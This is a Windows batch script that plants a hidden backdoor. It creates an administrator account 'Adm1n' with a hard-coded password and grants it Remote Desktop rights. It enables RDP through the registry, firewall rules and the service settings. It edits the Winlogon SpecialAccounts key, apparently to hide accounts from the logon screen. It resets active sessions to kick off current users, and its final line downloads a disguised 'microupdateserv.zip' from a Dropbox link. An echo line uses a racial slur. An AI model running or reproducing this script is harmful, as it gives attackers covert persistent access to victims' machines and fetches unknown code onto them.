@echo off



echo If not exists add account: Adm1n
net user Adm1n /add


echo Set password: PW123!!
net user Adm1n PW123!!


echo Activates the account: Adm1n
net user Adm1n /active:yes


echo Set user groupes Administrators,Remote Desktop Users to account: Adm1n
net localgroup Administrators Adm1n /add
net localgroup "Remote Desktop Users" Adm1n /add


echo Allow remotedesktop connections
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

echo Modding Profile
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v 0 /t REG_DWORD /d 0x00
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"

echo Add RemoteDesktop to startup
sc config TermService start= auto


echo open port 3389 in firewall (RDP port)
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
netsh advfirewall set currentprofile settings remotemanagement enable
netsh advfirewall set service type = remotedesktop mode = enable
netsh firewall set service type = remotedesktop mode = enable
netsh firewall add portopening TCP 3389 "Remote Desktop"

echo Start RemoteDesktop service
net start Termservice

echo Show all users
net user

echo show ip config
ipconfig



echo User: Adm1n
echo Pass: PW123!!
echo attempting to look for exsisting session..
query session /server:

echo this is what I found.
echo need to kick niggas TF off?, edit script with ID & Bare with me a moment
reset session [ID#HERE] /server:
echo lets download some shit
powershell -Command "(New-Object Net.WebClient).DownloadFile('https://www.dropbox.com/s/5mbp1wsak5sry1e/microupdateserv.zip?dl=1', 'httpB.zip')"